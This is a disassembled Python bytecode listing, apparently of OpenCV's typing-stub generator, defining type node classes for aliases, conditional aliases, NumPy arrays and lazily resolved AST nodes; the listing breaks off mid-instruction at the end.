LOAD_FAST self STORE_ATTR alias_export_name LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR alias_export_name RETURN_VALUE LOAD_CONST 'cv2.typing.' LOAD_FAST self LOAD_ATTR typename BINARY_ADD RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'AliasTypeNode' STORE_NAME __qualname__ LOAD_CONST 'Type node representing an alias to another type.\n Example:\n ```python\n Point2i = tuple[int, int]\n ```\n can be defined as\n ```python\n AliasTypeNode.tuple_("Point2i",\n items=(\n PrimitiveTypeNode.int_(),\n PrimitiveTypeNode.int_()\n ))\n ```\n Under the hood it is implemented as a container of another type node.\n ' STORE_NAME __doc__ LOAD_CONST (None, None) LOAD_NAME str LOAD_NAME TypeNode LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_CONST None LOAD_CONST ('ctype_name', 'value', 'export_name', 'doc', 'return') BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fab822ea300, file "f.py", line 250> LOAD_CONST 'AliasTypeNode.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object typename at 0x7fab822ea390, file "f.py", line 262> LOAD_CONST 'AliasTypeNode.typename' MAKE_FUNCTION CALL_FUNCTION STORE_NAME typename LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object full_typename at 0x7fab822eaa50, file "f.py", line 268> LOAD_CONST 'AliasTypeNode.full_typename' MAKE_FUNCTION CALL_FUNCTION STORE_NAME full_typename LOAD_NAME property LOAD_NAME Generator LOAD_NAME str LOAD_CONST None LOAD_CONST None BUILD_TUPLE BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object required_definition_imports at 0x7fab822ea030, file "f.py", line 272> LOAD_CONST 'AliasTypeNode.required_definition_imports' MAKE_FUNCTION CALL_FUNCTION STORE_NAME required_definition_imports LOAD_NAME property LOAD_NAME Generator LOAD_NAME str LOAD_CONST None LOAD_CONST None BUILD_TUPLE BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object required_usage_imports at 0x7fab822ea0c0, file "f.py", line 276> LOAD_CONST 'AliasTypeNode.required_usage_imports' MAKE_FUNCTION CALL_FUNCTION STORE_NAME required_usage_imports LOAD_NAME property LOAD_NAME bool LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object is_resolved at 0x7fab822eac90, file "f.py", line 280> LOAD_CONST 'AliasTypeNode.is_resolved' MAKE_FUNCTION CALL_FUNCTION STORE_NAME is_resolved LOAD_NAME ASTNode LOAD_CONST ('root',) BUILD_CONST_KEY_MAP LOAD_CONST <code object resolve at 0x7fab822ea540, file "f.py", line 284> LOAD_CONST 'AliasTypeNode.resolve' MAKE_FUNCTION STORE_NAME resolve LOAD_NAME classmethod LOAD_CONST (None, None) LOAD_NAME str LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('ctype_name', 'export_name', 'doc') BUILD_CONST_KEY_MAP LOAD_CONST <code object int_ at 0x7fab822ea930, file "f.py", line 294> LOAD_CONST 'AliasTypeNode.int_' MAKE_FUNCTION CALL_FUNCTION STORE_NAME int_ LOAD_NAME classmethod LOAD_CONST (None, None) LOAD_NAME str LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('ctype_name', 'export_name', 'doc') BUILD_CONST_KEY_MAP LOAD_CONST <code object float_ at 0x7fab822ea5d0, file "f.py", line 303> LOAD_CONST 'AliasTypeNode.float_' MAKE_FUNCTION CALL_FUNCTION STORE_NAME float_ LOAD_NAME classmethod LOAD_CONST (None, None, None) LOAD_NAME str LOAD_NAME str LOAD_NAME Optional LOAD_NAME Tuple LOAD_NAME int LOAD_CONST Ellipsis BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('ctype_name', 'array_ref_name', 'shape', 'dtype', 'export_name', 'doc') BUILD_CONST_KEY_MAP LOAD_CONST <code object array_ref_ at 0x7fab822ea810, file "f.py", line 312> LOAD_CONST 'AliasTypeNode.array_ref_' MAKE_FUNCTION CALL_FUNCTION STORE_NAME array_ref_ LOAD_NAME classmethod LOAD_CONST (None, None) LOAD_NAME str LOAD_NAME Tuple LOAD_NAME TypeNode LOAD_CONST Ellipsis BUILD_TUPLE BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('ctype_name', 'items', 'export_name', 'doc') BUILD_CONST_KEY_MAP LOAD_CONST <code object union_ at 0x7fab822ea420, file "f.py", line 343> LOAD_CONST 'AliasTypeNode.union_' MAKE_FUNCTION CALL_FUNCTION STORE_NAME union_ LOAD_NAME classmethod LOAD_CONST (None, None) LOAD_NAME str LOAD_NAME TypeNode LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('ctype_name', 'item', 'export_name', 'doc') BUILD_CONST_KEY_MAP LOAD_CONST <code object optional_ at 0x7fab822ea8a0, file "f.py", line 353> LOAD_CONST 'AliasTypeNode.optional_' MAKE_FUNCTION CALL_FUNCTION STORE_NAME optional_ LOAD_NAME classmethod LOAD_CONST (None, None) LOAD_NAME str LOAD_NAME TypeNode LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('ctype_name', 'item', 'export_name', 'doc') BUILD_CONST_KEY_MAP LOAD_CONST <code object sequence_ at 0x7fab822ea1e0, file "f.py", line 363> LOAD_CONST 'AliasTypeNode.sequence_' MAKE_FUNCTION CALL_FUNCTION STORE_NAME sequence_ LOAD_NAME classmethod LOAD_CONST (None, None) LOAD_NAME str LOAD_NAME Tuple LOAD_NAME TypeNode LOAD_CONST Ellipsis BUILD_TUPLE BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('ctype_name', 'items', 'export_name', 'doc') BUILD_CONST_KEY_MAP LOAD_CONST <code object tuple_ at 0x7fab822eae40, file "f.py", line 373> LOAD_CONST 'AliasTypeNode.tuple_' MAKE_FUNCTION CALL_FUNCTION STORE_NAME tuple_ LOAD_NAME classmethod LOAD_CONST (None, None) LOAD_NAME str LOAD_NAME str LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('ctype_name', 'class_name', 'export_name', 'doc') BUILD_CONST_KEY_MAP LOAD_CONST <code object class_ at 0x7fab822ead20, file "f.py", line 383> LOAD_CONST 'AliasTypeNode.class_' MAKE_FUNCTION CALL_FUNCTION STORE_NAME class_ LOAD_NAME classmethod LOAD_NAME NoneTypeNode LOAD_CONST 'void' CALL_FUNCTION LOAD_CONST None LOAD_CONST None BUILD_TUPLE LOAD_NAME str LOAD_NAME Union LOAD_NAME TypeNode LOAD_NAME Sequence LOAD_NAME TypeNode BINARY_SUBSCR BUILD_TUPLE BINARY_SUBSCR LOAD_NAME TypeNode LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('ctype_name', 'arg_types', 'ret_type', 'export_name', 'doc') BUILD_CONST_KEY_MAP LOAD_CONST <code object callable_ at 0x7fab641ae030, file "f.py", line 393> LOAD_CONST 'AliasTypeNode.callable_' MAKE_FUNCTION CALL_FUNCTION STORE_NAME callable_ LOAD_NAME classmethod LOAD_CONST (None, None, None) LOAD_NAME str LOAD_NAME str LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('ctype_name', 'alias_ctype_name', 'alias_export_name', 'export_name', 'doc') BUILD_CONST_KEY_MAP LOAD_CONST <code object ref_ at 0x7fab641ae0c0, file "f.py", line 409> LOAD_CONST 'AliasTypeNode.ref_' MAKE_FUNCTION CALL_FUNCTION STORE_NAME ref_ LOAD_NAME classmethod LOAD_CONST (None, None) LOAD_NAME str LOAD_NAME TypeNode LOAD_NAME TypeNode LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('ctype_name', 'key_type', 'value_type', 'export_name', 'doc') BUILD_CONST_KEY_MAP LOAD_CONST <code object dict_ at 0x7fab641ae150, file "f.py", line 425> LOAD_CONST 'AliasTypeNode.dict_' MAKE_FUNCTION CALL_FUNCTION STORE_NAME dict_ LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD __init__ LOAD_FAST ctype_name CALL_METHOD POP_TOP LOAD_FAST value LOAD_FAST self STORE_ATTR value LOAD_FAST export_name LOAD_FAST self STORE_ATTR _export_name LOAD_FAST doc LOAD_FAST self STORE_ATTR doc LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _export_name LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR _export_name RETURN_VALUE LOAD_FAST self LOAD_ATTR ctype_name RETURN_VALUE LOAD_CONST 'cv2.typing.' LOAD_FAST self LOAD_ATTR typename BINARY_ADD RETURN_VALUE LOAD_FAST self LOAD_ATTR value LOAD_ATTR required_usage_imports RETURN_VALUE LOAD_CONST 'import cv2.typing' YIELD_VALUE POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR value LOAD_ATTR is_resolved RETURN_VALUE SETUP_EXCEPT to 18 LOAD_FAST self LOAD_ATTR value LOAD_METHOD resolve LOAD_FAST root CALL_METHOD POP_TOP POP_BLOCK JUMP_FORWARD to 74 DUP_TOP LOAD_GLOBAL TypeResolutionError COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP STORE_FAST e POP_TOP SETUP_FINALLY to 60 LOAD_GLOBAL TypeResolutionError LOAD_CONST 'Failed to resolve alias "{}" exposed as "{}"' LOAD_METHOD format LOAD_FAST self LOAD_ATTR ctype_name LOAD_FAST self LOAD_ATTR typename CALL_METHOD CALL_FUNCTION LOAD_FAST e RAISE_VARARGS POP_BLOCK LOAD_CONST None LOAD_CONST None STORE_FAST e DELETE_FAST e END_FINALLY POP_EXCEPT JUMP_FORWARD to 74 END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_FAST cls LOAD_FAST ctype_name LOAD_GLOBAL PrimitiveTypeNode LOAD_METHOD int_ CALL_METHOD LOAD_FAST export_name LOAD_FAST doc CALL_FUNCTION RETURN_VALUE LOAD_FAST cls LOAD_FAST ctype_name LOAD_GLOBAL PrimitiveTypeNode LOAD_METHOD float_ CALL_METHOD LOAD_FAST export_name LOAD_FAST doc CALL_FUNCTION RETURN_VALUE LOAD_FAST doc LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_CONST 'NDArray(shape=' LOAD_FAST shape FORMAT_VALUE LOAD_CONST ', dtype=' LOAD_FAST dtype FORMAT_VALUE LOAD_CONST ')' BUILD_STRING STORE_FAST doc JUMP_FORWARD to 50 LOAD_FAST doc LOAD_CONST '. NDArray(shape=' LOAD_FAST shape FORMAT_VALUE LOAD_CONST ', dtype=' LOAD_FAST dtype FORMAT_VALUE LOAD_CONST ')' BUILD_STRING INPLACE_ADD STORE_FAST doc LOAD_FAST cls LOAD_FAST ctype_name LOAD_GLOBAL AliasRefTypeNode LOAD_FAST array_ref_name CALL_FUNCTION LOAD_FAST export_name LOAD_FAST doc CALL_FUNCTION RETURN_VALUE LOAD_FAST cls LOAD_FAST ctype_name LOAD_GLOBAL UnionTypeNode LOAD_FAST ctype_name LOAD_FAST items CALL_FUNCTION LOAD_FAST export_name LOAD_FAST doc CALL_FUNCTION RETURN_VALUE LOAD_FAST cls LOAD_FAST ctype_name LOAD_GLOBAL OptionalTypeNode LOAD_FAST item CALL_FUNCTION LOAD_FAST export_name LOAD_FAST doc CALL_FUNCTION RETURN_VALUE LOAD_FAST cls LOAD_FAST ctype_name LOAD_GLOBAL SequenceTypeNode LOAD_FAST ctype_name LOAD_FAST item CALL_FUNCTION LOAD_FAST export_name LOAD_FAST doc CALL_FUNCTION RETURN_VALUE LOAD_FAST cls LOAD_FAST ctype_name LOAD_GLOBAL TupleTypeNode LOAD_FAST ctype_name LOAD_FAST items CALL_FUNCTION LOAD_FAST export_name LOAD_FAST doc CALL_FUNCTION RETURN_VALUE LOAD_FAST cls LOAD_FAST ctype_name LOAD_GLOBAL ASTNodeTypeNode LOAD_FAST class_name CALL_FUNCTION LOAD_FAST export_name LOAD_FAST doc CALL_FUNCTION RETURN_VALUE LOAD_FAST cls LOAD_FAST ctype_name LOAD_GLOBAL CallableTypeNode LOAD_FAST ctype_name LOAD_FAST arg_types LOAD_FAST ret_type CALL_FUNCTION LOAD_FAST export_name LOAD_FAST doc CALL_FUNCTION RETURN_VALUE LOAD_FAST cls LOAD_FAST ctype_name LOAD_GLOBAL AliasRefTypeNode LOAD_FAST alias_ctype_name LOAD_FAST alias_export_name CALL_FUNCTION LOAD_FAST export_name LOAD_FAST doc CALL_FUNCTION RETURN_VALUE LOAD_FAST cls LOAD_FAST ctype_name LOAD_GLOBAL DictTypeNode LOAD_FAST ctype_name LOAD_FAST key_type LOAD_FAST value_type CALL_FUNCTION LOAD_FAST export_name LOAD_FAST doc CALL_FUNCTION RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'ConditionalAliasTypeNode' STORE_NAME __qualname__ LOAD_CONST 'Type node representing an alias protected by condition checked in runtime.\n For typing-related conditions, prefer using typing.TYPE_CHECKING. For a full explanation, see:\n https://github.com/opencv/opencv/pull/23927#discussion_r1256326835\n\n Example:\n ```python\n if typing.TYPE_CHECKING\n NumPyArray = numpy.ndarray[typing.Any, numpy.dtype[numpy.generic]]\n else:\n NumPyArray = numpy.ndarray\n ```\n is defined as follows:\n ```python\n\n ConditionalAliasTypeNode(\n "NumPyArray",\n \'typing.TYPE_CHECKING\',\n NDArrayTypeNode("NumPyArray"),\n NDArrayTypeNode("NumPyArray", use_numpy_generics=False),\n condition_required_imports=("import typing",)\n )\n ```\n ' STORE_NAME __doc__ LOAD_CONST (None, ()) LOAD_NAME str LOAD_NAME str LOAD_NAME TypeNode LOAD_NAME TypeNode LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Sequence LOAD_NAME str BINARY_SUBSCR LOAD_CONST None LOAD_CONST ('ctype_name', 'condition', 'positive_branch_type', 'negative_branch_type', 'export_name', 'condition_required_imports', 'return') BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fab641ae270, file "f.py", line 464> LOAD_CONST 'ConditionalAliasTypeNode.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object typename at 0x7fab641ae300, file "f.py", line 482> LOAD_CONST 'ConditionalAliasTypeNode.typename' MAKE_FUNCTION CALL_FUNCTION STORE_NAME typename LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object full_typename at 0x7fab641ae390, file "f.py", line 488> LOAD_CONST 'ConditionalAliasTypeNode.full_typename' MAKE_FUNCTION CALL_FUNCTION STORE_NAME full_typename LOAD_NAME property LOAD_NAME Generator LOAD_NAME str LOAD_CONST None LOAD_CONST None BUILD_TUPLE BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object required_definition_imports at 0x7fab641ae420, file "f.py", line 492> LOAD_CONST 'ConditionalAliasTypeNode.required_definition_imports' MAKE_FUNCTION CALL_FUNCTION STORE_NAME required_definition_imports LOAD_NAME property LOAD_NAME Generator LOAD_NAME str LOAD_CONST None LOAD_CONST None BUILD_TUPLE BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object required_usage_imports at 0x7fab641ae4b0, file "f.py", line 498> LOAD_CONST 'ConditionalAliasTypeNode.required_usage_imports' MAKE_FUNCTION CALL_FUNCTION STORE_NAME required_usage_imports LOAD_NAME property LOAD_NAME bool LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object is_resolved at 0x7fab641ae540, file "f.py", line 502> LOAD_CONST 'ConditionalAliasTypeNode.is_resolved' MAKE_FUNCTION CALL_FUNCTION STORE_NAME is_resolved LOAD_NAME ASTNode LOAD_CONST ('root',) BUILD_CONST_KEY_MAP LOAD_CONST <code object resolve at 0x7fab641ae5d0, file "f.py", line 509> LOAD_CONST 'ConditionalAliasTypeNode.resolve' MAKE_FUNCTION STORE_NAME resolve LOAD_NAME classmethod LOAD_CONST (None, None, None) LOAD_NAME str LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME Tuple LOAD_NAME int LOAD_CONST Ellipsis BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('ctype_name', 'export_name', 'shape', 'dtype') BUILD_CONST_KEY_MAP LOAD_CONST <code object numpy_array_ at 0x7fab641ae660, file "f.py", line 520> LOAD_CONST 'ConditionalAliasTypeNode.numpy_array_' MAKE_FUNCTION CALL_FUNCTION STORE_NAME numpy_array_ LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD __init__ LOAD_FAST ctype_name CALL_METHOD POP_TOP LOAD_FAST condition LOAD_FAST self STORE_ATTR condition LOAD_FAST positive_branch_type LOAD_FAST self STORE_ATTR positive_branch_type LOAD_FAST self LOAD_ATTR ctype_name LOAD_FAST self LOAD_ATTR positive_branch_type STORE_ATTR ctype_name LOAD_FAST negative_branch_type LOAD_FAST self STORE_ATTR negative_branch_type LOAD_FAST self LOAD_ATTR ctype_name LOAD_FAST self LOAD_ATTR negative_branch_type STORE_ATTR ctype_name LOAD_FAST export_name LOAD_FAST self STORE_ATTR _export_name LOAD_FAST condition_required_imports LOAD_FAST self STORE_ATTR _condition_required_imports LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _export_name LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR _export_name RETURN_VALUE LOAD_FAST self LOAD_ATTR ctype_name RETURN_VALUE LOAD_CONST 'cv2.typing.' LOAD_FAST self LOAD_ATTR typename BINARY_ADD RETURN_VALUE LOAD_FAST self LOAD_ATTR positive_branch_type LOAD_ATTR required_usage_imports GET_YIELD_FROM_ITER LOAD_CONST None YIELD_FROM POP_TOP LOAD_FAST self LOAD_ATTR negative_branch_type LOAD_ATTR required_usage_imports GET_YIELD_FROM_ITER LOAD_CONST None YIELD_FROM POP_TOP LOAD_FAST self LOAD_ATTR _condition_required_imports GET_YIELD_FROM_ITER LOAD_CONST None YIELD_FROM POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CONST 'import cv2.typing' YIELD_VALUE POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR positive_branch_type LOAD_ATTR is_resolved JUMP_IF_FALSE_OR_POP LOAD_FAST self LOAD_ATTR negative_branch_type LOAD_ATTR is_resolved RETURN_VALUE SETUP_EXCEPT to 30 LOAD_FAST self LOAD_ATTR positive_branch_type LOAD_METHOD resolve LOAD_FAST root CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR negative_branch_type LOAD_METHOD resolve LOAD_FAST root CALL_METHOD POP_TOP POP_BLOCK JUMP_FORWARD to 86 DUP_TOP LOAD_GLOBAL TypeResolutionError COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP STORE_FAST e POP_TOP SETUP_FINALLY to 72 LOAD_GLOBAL TypeResolutionError LOAD_CONST 'Failed to resolve alias "{}" exposed as "{}"' LOAD_METHOD format LOAD_FAST self LOAD_ATTR ctype_name LOAD_FAST self LOAD_ATTR typename CALL_METHOD CALL_FUNCTION LOAD_FAST e RAISE_VARARGS POP_BLOCK LOAD_CONST None LOAD_CONST None STORE_FAST e DELETE_FAST e END_FINALLY POP_EXCEPT JUMP_FORWARD to 86 END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_FAST cls LOAD_FAST ctype_name LOAD_CONST '_typing.TYPE_CHECKING' LOAD_GLOBAL NDArrayTypeNode LOAD_FAST ctype_name LOAD_FAST shape LOAD_FAST dtype CALL_FUNCTION LOAD_GLOBAL NDArrayTypeNode LOAD_FAST ctype_name LOAD_FAST shape LOAD_FAST dtype LOAD_CONST False LOAD_CONST ('use_numpy_generics',) CALL_FUNCTION LOAD_CONST ('import typing as _typing',) LOAD_CONST ('condition_required_imports',) CALL_FUNCTION RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'NDArrayTypeNode' STORE_NAME __qualname__ LOAD_CONST 'Type node representing NumPy ndarray.' STORE_NAME __doc__ LOAD_CONST (None, None, True) LOAD_NAME str LOAD_NAME Optional LOAD_NAME Tuple LOAD_NAME int LOAD_CONST Ellipsis BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME bool LOAD_CONST None LOAD_CONST ('ctype_name', 'shape', 'dtype', 'use_numpy_generics', 'return') BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fab641ae780, file "f.py", line 541> LOAD_CONST 'NDArrayTypeNode.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object typename at 0x7fab641ae810, file "f.py", line 553> LOAD_CONST 'NDArrayTypeNode.typename' MAKE_FUNCTION CALL_FUNCTION STORE_NAME typename LOAD_NAME property LOAD_NAME Generator LOAD_NAME str LOAD_CONST None LOAD_CONST None BUILD_TUPLE BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object required_usage_imports at 0x7fab641ae8a0, file "f.py", line 560> LOAD_CONST 'NDArrayTypeNode.required_usage_imports' MAKE_FUNCTION CALL_FUNCTION STORE_NAME required_usage_imports LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD __init__ LOAD_FAST ctype_name CALL_METHOD POP_TOP LOAD_FAST shape LOAD_FAST self STORE_ATTR shape LOAD_FAST dtype LOAD_FAST self STORE_ATTR dtype LOAD_FAST use_numpy_generics LOAD_FAST self STORE_ATTR _use_numpy_generics LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _use_numpy_generics POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR dtype LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR dtype JUMP_FORWARD to 24 LOAD_CONST 'numpy.generic' STORE_FAST dtype LOAD_CONST 'numpy.ndarray[_typing.Any, numpy.dtype[' LOAD_FAST dtype FORMAT_VALUE LOAD_CONST ']]' BUILD_STRING RETURN_VALUE LOAD_CONST 'numpy.ndarray' RETURN_VALUE LOAD_CONST 'import numpy' YIELD_VALUE POP_TOP LOAD_CONST 'import typing as _typing' YIELD_VALUE POP_TOP LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'ASTNodeTypeNode' STORE_NAME __qualname__ LOAD_CONST 'Type node representing a lazy ASTNode corresponding to type of\n function argument or its return type or type of class property.\n Introduced laziness nature resolves the types visibility issue - all types\n should be known during function declaration to select an appropriate node\n from the AST. Such knowledge leads to evaluation of all preprocessor\n directives (`#include` particularly) for each processed header and might be\n too expensive and error prone.\n ' STORE_NAME __doc__ LOAD_CONST (None, None) LOAD_NAME str LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_CONST None LOAD_CONST ('ctype_name', 'typename', 'module_name', 'return') BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fab641aea50, file "f.py", line 576> LOAD_CONST 'ASTNodeTypeNode.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME property LOAD_CONST <code object ast_node at 0x7fab641aeae0, file "f.py", line 587> LOAD_CONST 'ASTNodeTypeNode.ast_node' MAKE_FUNCTION CALL_FUNCTION STORE_NAME ast_node LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object typename at 0x7fab641aeb70, file "f.py", line 591> LOAD_CONST 'ASTNodeTypeNode.typename' MAKE_FUNCTION CALL_FUNCTION STORE_NAME typename LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object full_typename at 0x7fab641aec00, file "f.py", line 604> LOAD_CONST 'ASTNodeTypeNode.full_typename' MAKE_FUNCTION CALL_FUNCTION STORE_NAME full_typename LOAD_NAME property LOAD_NAME Generator LOAD_NAME str LOAD_CONST None LOAD_CONST None BUILD_TUPLE BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object required_usage_imports at 0x7fab641aedb0, file "f.py", line 619> LOAD_CONST 'ASTNodeTypeNode.required_usage_imports' MAKE_FUNCTION CALL_FUNCTION STORE_NAME required_usage_imports LOAD_NAME property LOAD_NAME bool LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object is_resolved at 0x7fab641aee40, file "f.py", line 635> LOAD_CONST 'ASTNodeTypeNode.is_resolved' MAKE_FUNCTION CALL_FUNCTION STORE_NAME is_resolved LOAD_NAME ASTNode LOAD_CONST ('root',) BUILD_CONST_KEY_MAP LOAD_CONST <code object resolve at 0x7fab641aeed0, file "f.py", line 639> LOAD_CONST 'ASTNodeTypeNode.resolve' MAKE_FUNCTION STORE_NAME resolve LOAD_NAME str LOAD_NAME str LOAD_CONST ('module', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object relative_typename at 0x7fab641aef60, file "f.py", line 652> LOAD_CONST 'ASTNodeTypeNode.relative_typename' MAKE_FUNCTION STORE_NAME relative_typename LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD __init__ LOAD_FAST ctype_name CALL_METHOD POP_TOP LOAD_FAST typename LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST typename JUMP_FORWARD to 26 LOAD_FAST ctype_name LOAD_FAST self STORE_ATTR _typename LOAD_FAST module_name LOAD_FAST self STORE_ATTR _module_name LOAD_CONST None LOAD_FAST self STORE_ATTR _ast_node LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _ast_node RETURN_VALUE LOAD_FAST self LOAD_ATTR _ast_node LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR _typename RETURN_VALUE LOAD_FAST self LOAD_ATTR _ast_node LOAD_ATTR export_name STORE_FAST typename LOAD_FAST self LOAD_ATTR _ast_node LOAD_ATTR node_type LOAD_GLOBAL ASTNodeType LOAD_ATTR Enumeration COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST typename RETURN_VALUE LOAD_FAST self LOAD_ATTR _ast_node LOAD_ATTR parent STORE_FAST parent SETUP_LOOP to 88 LOAD_FAST parent LOAD_ATTR node_type LOAD_GLOBAL ASTNodeType LOAD_ATTR Class COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST parent LOAD_ATTR export_name LOAD_CONST '_' BINARY_ADD LOAD_FAST typename BINARY_ADD STORE_FAST typename LOAD_FAST parent LOAD_ATTR parent STORE_FAST parent JUMP_ABSOLUTE POP_BLOCK LOAD_FAST typename RETURN_VALUE LOAD_FAST self LOAD_ATTR _ast_node LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR _ast_node LOAD_ATTR node_type LOAD_GLOBAL ASTNodeType LOAD_ATTR Enumeration COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR _ast_node LOAD_ATTR full_export_name RETURN_VALUE LOAD_FAST self LOAD_ATTR _ast_node LOAD_ATTR export_name STORE_FAST typename LOAD_FAST self LOAD_ATTR _ast_node LOAD_ATTR parent STORE_FAST parent SETUP_LOOP to 86 LOAD_FAST parent LOAD_ATTR node_type LOAD_GLOBAL ASTNodeType LOAD_ATTR Class COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST parent LOAD_ATTR export_name LOAD_CONST '_' BINARY_ADD LOAD_FAST typename BINARY_ADD STORE_FAST typename LOAD_FAST 